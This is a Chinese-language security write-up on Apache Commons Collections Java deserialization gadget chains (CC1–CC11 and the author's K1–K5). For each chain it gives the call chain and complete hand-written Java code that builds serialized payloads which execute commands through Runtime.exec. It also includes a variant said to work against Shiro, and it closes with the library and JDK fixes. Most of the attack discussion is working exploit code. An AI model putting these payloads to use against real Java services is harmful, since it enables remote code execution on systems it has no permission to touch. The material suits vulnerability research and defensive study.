CommonsCollections 系列反序列化

前言

如果不关心背后的原理,直接看最后的总结即可。

Tips:主要是只写了个人的理解,并没有多详细

CommonsCollections1

依赖

  • CommonsCollections <= 3.2.1
  • Java < 8u71

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ConstantTransformer.transform()

分析

大致可以分为两部分,一部分是构造 ChainedTransformer ,另一部分是设法调用这个 chaintransform
方法。其中前者可以直接表示为:

java
1
2
3
4
5
6
7
8
9
10
11
12
final Transformer[]transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},new String[]{"say yes"}),
};
ChainedTransformer chain=new ChainedTransformer(transformers);

当这里的 chain.transform 被调用时,执行的命令类似:

1
Runtime.getRuntime().exec("say yes");

更深入的,调用过程类似下面的反射调用:

java
1
2
3
4
5
6
7
8
9
10
Class cls=Object.class.getClass();
Method m=cls.getMethod("getMethod",String.class,Class[].class);
Object getRuntime=m.invoke(Runtime.class,"getRuntime",new Class[0]);

cls=getRuntime.getClass();
m=cls.getMethod("invoke",Object.class,Object[].class);
Object runtime=m.invoke(getRuntime,null,new Object[0]);

m=runtime.getClass().getMethod("exec",String.class);
m.invoke(runtime,"say yes");

关键在于如何去调用这个 chain 的 transform 方法,ysoserial 的 CommonsCollections1
用的调用链依赖于两次 AnnotationInvocationHandler 的代理和一个 LazyMap 的最终触发,这个过程完整手写的话如下:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
final String[]execArgs=new String[]{"touch /tmp/aaaa"};
final Transformer[]transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},execArgs),
// 注意这里多了一个 HashSet,这样可以避免原版的一个 Cast Error
new ConstantTransformer(new HashSet<String>())};
ChainedTransformer chain=new ChainedTransformer(transformers);

Map hashMap=new HashMap();

// 当 LazyMap.get 被调用时,会触发 chain.transform
Map m=LazyMap.decorate(hashMap,chain);

// sun.reflect.annotation.AnnotationInvocationHandler 不是 public 的,不能直接构造出来
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

// 这里的 Deprecated.class 可以换成任意一个 AnnotationType
InvocationHandler handler=(InvocationHandler)constructor.newInstance(Deprecated.class,m);

// 这里套一层 proxy 为了在 readObject 是调用 entrySet 时调用 AnnotationInvocation 的 invoke 方法, 其中会调用 lazyMap 的 get 从而触发
Object proxy=Proxy.newProxyInstance(handler.getClass().getClassLoader(),new Class[]{Map.class},handler);

// 最外层是 AnnotationInvocationHandler,触发 readObject 操作
Object obj=constructor.newInstance(Deprecated.class,proxy);
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(obj);
out.close();

CommonsCollections2

依赖

  • CommonsCollections4.0

利用链

1
2
3
4
5
6
7
8
9
10
11
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()

分析

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[]args)throws Exception{
String code="{System.out.println('1');}";
ClassPool pool=ClassPool.getDefault();
CtClass clazz=pool.get(Exception.class.getName());
clazz.makeClassInitializer().insertBefore(code);
clazz.setName("demo");
byte[]byteCode=clazz.toBytecode();

// load bytecode
Class cls=new DefiningClassLoader().defineClass("demo",byteCode);
cls.newInstance();
}

// 效果类似
public class Exception extends Throwable {
{
System.out.println('1');
}

...
}

这段代码展示了两个小知识,一是可以利用 ClassLoader 去加载字节码然后执行,而是借助 javassist
的强大魅力,可以轻松的给已有的类做编排(Instrumenting)内置类型 Exception 增加一段 static
代码块,加载字节码市,静态代码块就会被执行,借助这个特性,可以做一些非常 Magic 和 Amazing 的事情。

CommonCollections2 和下面的几个利用链都用到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类,这个类有个特性当调用 newTransform 时,会加载内部的 `_bytecode 中的字节码并实例化,这个利用链手写大致如下:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static class FooBar implements Serializable {
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
String AbstractTranslet = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
pool.insertClassPath(new ClassClassPath(FooBar.class));
pool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass bar = pool.get(FooBar.class.getName());
CtClass translet = pool.get(Class.forName(AbstractTranslet).getName());

// 给 bar 动态设置父类,同时设置 static 的初始化恶意代码
bar.setSuperclass(translet);
bar.makeClassInitializer().insertBefore("{Runtime.getRuntime().exec(\"touch /tmp/abc\");}");
// hack it. 为了避免 postInitialization 的调用,防止反序列化报错
bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}");
byte[] b = bar.toBytecode();
// 这个是为了避免 _auxClasses 为空导致的 Exception
byte[] foo = pool.get(Gadgets.Foo.class.getName()).toBytecode();

// 实例化方法没用开,用反射做
Constructor con = TemplatesImpl.class.getDeclaredConstructor(byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class);
con.setAccessible(true);
Templates tpl = (Templates) con.newInstance(new byte[][]{b, foo}, "abc", new Properties(), 1, new TransformerFactoryImpl());
...
// 后续调用链只需触发 tpl.newTransformer() 即可触发
}
}

这里相比原版加了一行 bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}");
这个可以有效防止序列化之后的报错,整个序列化流程跑完没有任何异常,非常舒服。我们将这个函数保存为 createTemplate()
,后面就不用再写相同代码了。至于触发方法,在 CommonsCollections2 中用的是这样的利用链:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
final Object templates=Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer=new InvokerTransformer("toString",new Class[0],new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue=new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer,"iMethodName","newTransformer");

// switch contents of queue
final Object[]queueArray=(Object[])Reflections.getFieldValue(queue,"queue");
queueArray[0]=tpl;
queueArray[1]=1;

// then write queue

这里用了一个小技巧是利用反射延迟设置 queue 内部的值,防止 queue.add 时利用链就被触发了。但这个成功反序列化后也会有个错误,原因是
Templeates 被实例化后是不可被比较的,我把利用链稍微调整了一下就可以规避这个问题,这个利用链支调整了最终 transform
的逻辑,核心触发逻辑没变,就不作为 2_1 来写了:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Templates tpl=MyGadget.createTemplate();
InvokerTransformer invokerTransformer=new InvokerTransformer("toString",new Class[0],new Object[0]);
ChainedTransformer transformer=new ChainedTransformer(new Transformer[]{
new ConstantTransformer(tpl),
invokerTransformer,
// 返回一个 constant 值,防止报错
new ConstantTransformer(1),
});
PriorityQueue<Object> queue=new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(2);
Field i=invokerTransformer.getClass().getDeclaredField("iMethodName");
i.setAccessible(true);
i.set(invokerTransformer,"newTransformer");

// then write queue

CommonsCollections3

依赖

  • CommonsCollections <= 3.2.1
  • Java < 8u71

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
// 变的是下面这部分
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()

分析

CommonCollectins1 的前半部分是一致的,所以依赖都是一致的。不同的是借助 InstantiateTransformerTrAXFilter 这个链完成
TemplateImpl 的实例化,能利用的原因在于 TrAXFilter 这个类的实例化函数是这样的:

java
1
2
3
4
5
6
public TrAXFilter(Templates templates)throws TransformerConfigurationException
{
_templates=templates;
_transformer=(TransformerImpl)templates.newTransformer();
_transformerHandler=new TransformerHandlerImpl(_transformer);
}

顺手可以手写一份利用代码:

java
1
2
3
4
5
6
Templates tpl=MyGadget.createTemplate();
Transformer chain=new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tpl}),
});
// chain 的触发和 1 一样,不再赘述

CommonsCollections4

依赖

  • CommonsCollections4.0

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChainedTransformer.transform()
// 变的是下面这部分
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()

分析

这个就是 2 的后半部分用了 InstantiateTransformer ,和我自己写的那个只有一点点的不一样,不再赘述

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Templates tpl=MyGadget.createTemplate();
ConstantTransformer constantTransformer=new ConstantTransformer(String.class);
InstantiateTransformer initTransformer=new InstantiateTransformer(new Class[]{},new Object[]{});
Transformer transformer=new ChainedTransformer(new Transformer[]{
constantTransformer,
initTransformer,
new ConstantTransformer(1),
});

PriorityQueue<Object> queue=new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(2);

Field i=constantTransformer.getClass().getDeclaredField("iConstant");
i.setAccessible(true);
i.set(constantTransformer,TrAXFilter.class);

i=initTransformer.getClass().getDeclaredField("iParamTypes");
i.setAccessible(true);
i.set(initTransformer,new Class[]{Templates.class});

i=initTransformer.getClass().getDeclaredField("iArgs");
i.setAccessible(true);
i.set(initTransformer,new Object[]{tpl});

// then write queue

CommonsCollections5

依赖

  • CommonsCollections <= 3.2.1
  • Java >= 8u76
  • SecurityManager 未开启

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

这个 gadget 只能在 8u76 之后用,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
ObjectInputStream.GetField gf=ois.readFields();
Object valObj=gf.get("val",null);

if(valObj==null){
val=null;
}else if(valObj instanceof String){
val=valObj;
}else if(System.getSecurityManager()==null
||valObj instanceof Long
||valObj instanceof Integer
||valObj instanceof Float
||valObj instanceof Double
||valObj instanceof Byte
||valObj instanceof Short
||valObj instanceof Boolean){
val=valObj.toString();
}else{ // the serialized object is from a version without JDK-8019292 fix
val=System.identityHashCode(valObj)+"@"+valObj.getClass().getName();
}
}

同时 TiedMap 的 toString 方法为,可以说是非常人性化了:

java
1
2
3
4
5
6
7
8
9
// LazyMap 和 1 的是一样的
Map m=LazyMap.decorate(hashMap,chain);

Object obj=new BadAttributeValueExpException("");
Field i=obj.getClass().getDeclaredField("val");
i.setAccessible(true);
i.set(obj,new TiedMapEntry(m,"value"));

// then write obj

CommonsCollections6

依赖

  • CommonsCollections <= 3.2.1

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

由于 5 有环境版本的要求,这个相当于是 5 的改进,不依赖版本了。利用链原理 TiedMapEntry 的 hashcode
方法可以结合 HashMap 利用:

java
1
2
3
4
5
public int hashCode(){
Object value=getValue();
return(getKey()==null?0:getKey().hashCode())^
(value==null?0:value.hashCode());
}

ysoserial 中这个 gadget 实现的很复杂,实际上可以简化 参考,完整链手写如下:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
final String[]execArgs=new String[]{"open /Applications/Calculator.app"};
final Transformer[]transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},execArgs),
new ConstantTransformer(new HashSet<String>())};
ChainedTransformer inertChain=new ChainedTransformer(new Transformer[]{});

HashMap<String, String> innerMap=new HashMap<String, String>();
Map m=LazyMap.decorate(innerMap,inertChain);

Map outerMap=new HashMap();
TiedMapEntry tied=new TiedMapEntry(m,"v");
outerMap.put(tied,"t");
// 这个很关键
innerMap.clear();

// 将真正的 transformers 设置, 避免上面 put 时 payload 时就执行了
Field field=inertChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(inertChain,transformers);

ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(outerMap);
out.close();

这里有个细节很关键,就是 innerMap.clear() 这句,这并不是为了清空下缓存,而是如果没有这一句在反序列化时就不会触发了,原因是
LazyMap 中有这样的写法:

java
1
2
3
4
5
6
7
8
9
public Object get(Object key){
// create value for key if key is not currently in the map
if(map.containsKey(key)==false){
Object value=factory.transform(key);
map.put(key,value);
return value;
}
return map.get(key);
}

如果没有 clear,那么反序列化后的 map 是直接包含了 key 的,这里的 factory.transform 就中断了。为了方便使用,我把这条简化后的链命名为了K3,见后面的部分。

CommonsCollections7

依赖

  • CommonsCollections <= 3.2.1

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
java.util.AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

这个原理基于三个小技巧:

  1. yy 和 zZ 这两个字符串的 hashcode() 是一样的
  2. 当向 hashtable 或 hashmap 中put时,如果 key 是一个 map,hashcode 的计算方法是这种方式:
java
1
2
3
4
5
6
7
8
// java.util.AbstractMap#hashCode
public int hashCode(){
int h=0;
Iterator<Entry<K, V>>i=entrySet().iterator();
while(i.hasNext())
h+=i.next().hashCode();
return h;
}
  1. 当 key 为 map 类型并且发生了 hashcode 碰撞,会做深层次的比较:
java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// java.util.AbstractMap#equals
public boolean equals(Object o){
// ...
try{
Iterator<Entry<K, V>>i=entrySet().iterator();
while(i.hasNext()){
Entry<K, V> e=i.next();
K key=e.getKey();
V value=e.getValue();
if(value==null){
if(!(m.get(key)==null&&m.containsKey(key)))
return false;
}else{
// 这里会触发 lazymap 的 transform
if(!value.equals(m.get(key)))
return false;
}
}
// ...
java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Map innerMap1=new HashMap();
Map innerMap2=new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1=LazyMap.decorate(innerMap1,inertChain);
lazyMap1.put("yy",1);

Map lazyMap2=LazyMap.decorate(innerMap2,inertChain);
lazyMap2.put("zZ",1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable=new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

Field i=inertChain.getClass().getDeclaredField("iTransformers");
i.setAccessible(true);
i.set(inertChain,transformers);

// 和 6 中 innerMap.clear() 一个道理,需要清除 put 时的缓存,这样反序列化时才会产生冲突并触发 lazymap.get
lazyMap2.remove("yy");
// then write hashtable to file

CommonsCollections8

依赖

  • CommonsCollections == 4.0

利用链

java
1
2
3
4
5
6
7
8
9
10
11
12
13
org.apache.commons.collections4.bag.TreeBag.readObject
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
java.util.TreeMap.put
java.util.TreeMap.compare
org.apache.commons.collections4.comparators.TransformingComparator.compare
org.apache.commons.collections4.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
... (TemplatesImpl gadget)
java.lang.Runtime.exec

分析

navalorenzo师傅 提交

当使用comp对象对两个元素进行compare时,就会调用两个元素的newTransformer方法

构造comp对象,只要调用comp的compare(templates对象)就会造成命令执行,反射修改属性 iMethodNamenewTransformer 以此触发反序列化

java
1
2
3
4
5
6
7
Object                 tpl         = Gadgets.createTemplatesImpl(type, param);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator((Transformer) transformer);
TreeBag tree = new TreeBag((Comparator) comp);
tree.add(tpl);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return tree;

CommonsCollections9

依赖

  • CommonsCollections:3.2

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
DefaultedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

梅子酒师傅 提交

主要利用的是 CommonsCollections:3.2 版本新增的 DefaultedMap 来代替 LazyMap ,因为这两个Map有同样的get函数可以被利用,在构建 TiedMapEntry 类型对象,调用它的 hashCode 方法导致代码执行

java
1
2
3
4
5
6
7
8
9
10
11
12
String                        command            = param[0];
String[] execArgs = {command};
Class c = (execArgs.length > 1) ? String[].class : String.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map<Object, Object> innerMap = new HashMap<Object, Object>();
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "nu1r");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers);
return val;

CommonsCollections10

依赖

  • CommonsCollections <= 3.2.1

利用链

1
2
3
4
5
6
7
Hashtable.readObject()
Hashtable.reconstitutionPut
key.hashCode() => TiedMapEntry.hashCode()
TiedMapEntry.getValue
TiedMapEntry.map.get() => LazyMap.get()
factory.transform() => ChainedTransformer.transform()
Runtime.getRuntime().exec()

分析

先是HashSet反序列化 -> 对元素entry计算hash -> lazyMap调用get方法 -> 通过InvokerTransformer调用templates的newTransformer -> 加载命令执行的静态代码块

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
final Object templates = Gadgets.createTemplatesImpl(type, param);
// 使用 InstantiateFactory 代替 InstantiateTransformer
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});

FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

// 先放一个无关键要的 Transformer
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "nu1r");
Map expMap = new HashMap();
expMap.put(tme, "nu2r");

setFieldValue(outerMap, "factory", factoryTransformer);

outerMap.remove("nu1r");

return expMap;

CommonsCollections11

依赖

  • CommonsCollections 3.1-3.2.1

利用链

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readobject()
java.util.HashSet.readobject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections,functors.InvokerTransformer,transform()
java.lang.reflect.Method.invoke()
...templates gadgets...
java.lang.Runtime.exec()

分析

在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的,其他的和CC6差不多。

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object getObject(PayloadType type, String... param) throws Exception {
Object templates = Gadgets.createTemplatesImpl(type, param);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "nu1r");
lazyMap.remove(templates);

Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);

return expMap;
}

CommonsCollectionsK1,K2

依赖

  • K1: CommonsCollections <= 3.2.1
  • K2: CommonsCollections == 4.0

利用链

1
2
3
4
5
6
HashMap.readObject
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.decorate
InvokerTransformer
templates...

分析

这是我在做 shiro 检测时被迫组合出的一条利用链,这条链虽然是新瓶装旧酒——前半段类似 6,后半段类似
2,但完全避免了 ChainedTransformer 的使用且仅依赖于 CommonsCollections,最终效果是可以直接在 shiro 1.2.24 的环境中使用。

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Object tpl=Gadgets.createTemplatesImpl("cmd");
InvokerTransformer transformer=new InvokerTransformer("toString",new Class[0],new Object[0]);

HashMap<String, String> innerMap=new HashMap<String, String>();
Map m=LazyMap.decorate(innerMap,transformer);

Map outerMap=new HashMap();
TiedMapEntry tied=new TiedMapEntry(m,tpl);
outerMap.put(tied,"t");
// 这个很关键
innerMap.clear();

// 将真正的 transformers 设置, 避免上面 put 时 payload 时就执行了
Field field=transformer.getClass().getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer,"newTransformer");

ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(outerMap);
out.close();

K2 与 K1 的差别,仅仅是将 lazyMap 改为了 4.0 中的写法,不再赘述。

CommonsCollectionsK3,K4

依赖

  • K1: CommonsCollections <= 3.2.1
  • K2: CommonsCollections == 4.0

利用链

1
2
3
4
5
6
java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()

分析

K3 这个链其实就是我上面写的 6,ysoserial 中的写法有些啰嗦,所以单独抽出来重新命名了一下。K4 就是 K3 的 4.0 适配版,不再赘述。

CommonsCollectionsK5

依赖

  • CommonsCollections == 4.0

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
java.util.AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

CC7的升级版,不在赘述。

修复方式

3.2.1

在 3.2.2 中对几个高危反序列化点都加了检查

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(ObjectInputStream is)throws ClassNotFoundException,IOException{
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}

// FunctorUtils.checkUnsafeSerialization
static void checkUnsafeSerialization(Class clazz){
String unsafeSerializableProperty;

try{
unsafeSerializableProperty=
(String)AccessController.doPrivileged(new PrivilegedAction(){
public Object run(){
return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
}
});
}catch(SecurityException ex){
unsafeSerializableProperty=null;
}

if(!"true".equalsIgnoreCase(unsafeSerializableProperty)){
throw new UnsupportedOperationException(
"Serialization support for "+clazz.getName()+" is disabled for security reasons. "+
"To enable it set system property '"+UNSAFE_SERIALIZABLE_PROPERTY+"' to 'true', "+
"but you must ensure that your application does not de-serialize objects from untrusted sources.");
}
}

没有使用黑名单策略,如果配置里没有启用,反序列化功能就会被完全禁用掉。

4.0

直接把一些敏感类的 Serializable 接口去掉了..

  • WARNING: from v4.1 onwards this class will not be serializable anymore in order to prevent potential remote
    code execution exploits. Please refer to COLLECTIONS-580
  • for more details.*

AnnotationInvocationHandler

除了对 CommonsCollections 本身的修复,JDK 对 AnnotationInvocationHandler 这个非常好用的类也做了些防护,在 8u71 中, 对
readObject 做了一些修改

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1)throws IOException,ClassNotFoundException{
GetField var2=var1.readFields();
Class var3=(Class)var2.get("type",(Object)null);
Map var4=(Map)var2.get("memberValues",(Object)null);
AnnotationType var5=null;

try{
var5=AnnotationType.getInstance(var3);
}catch(IllegalArgumentException var13){
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6=var5.memberTypes();
LinkedHashMap var7=new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8=var4.entrySet().iterator();var8.hasNext();var7.put(var10,var11)){
Entry var9=(Entry)var8.next();
var10=(String)var9.getKey();
var11=null;
Class var12=(Class)var6.get(var10);
if(var12!=null){
var11=var9.getValue();
if(!var12.isInstance(var11)&&!(var11 instanceof ExceptionProxy)){
var11=(new AnnotationTypeMismatchExceptionProxy(var11.getClass()+"["+var11+"]")).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this,var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this,var7);
}

注意到最终反序列化出的 memberValues 已经不是我们原始的 lazyMap 了,而是一个新的 LinkedHashMap
,这样所有 AnnotationInvocationHandler 搭配 lazymap
的利用链全都失效了。这也是我不太喜欢这些利用链的原因,它们不仅有库的依赖,还有环境的依赖。那么哪些是高价值利用链,哪些是没有环境依赖就能打的,我们来总结一下。

总结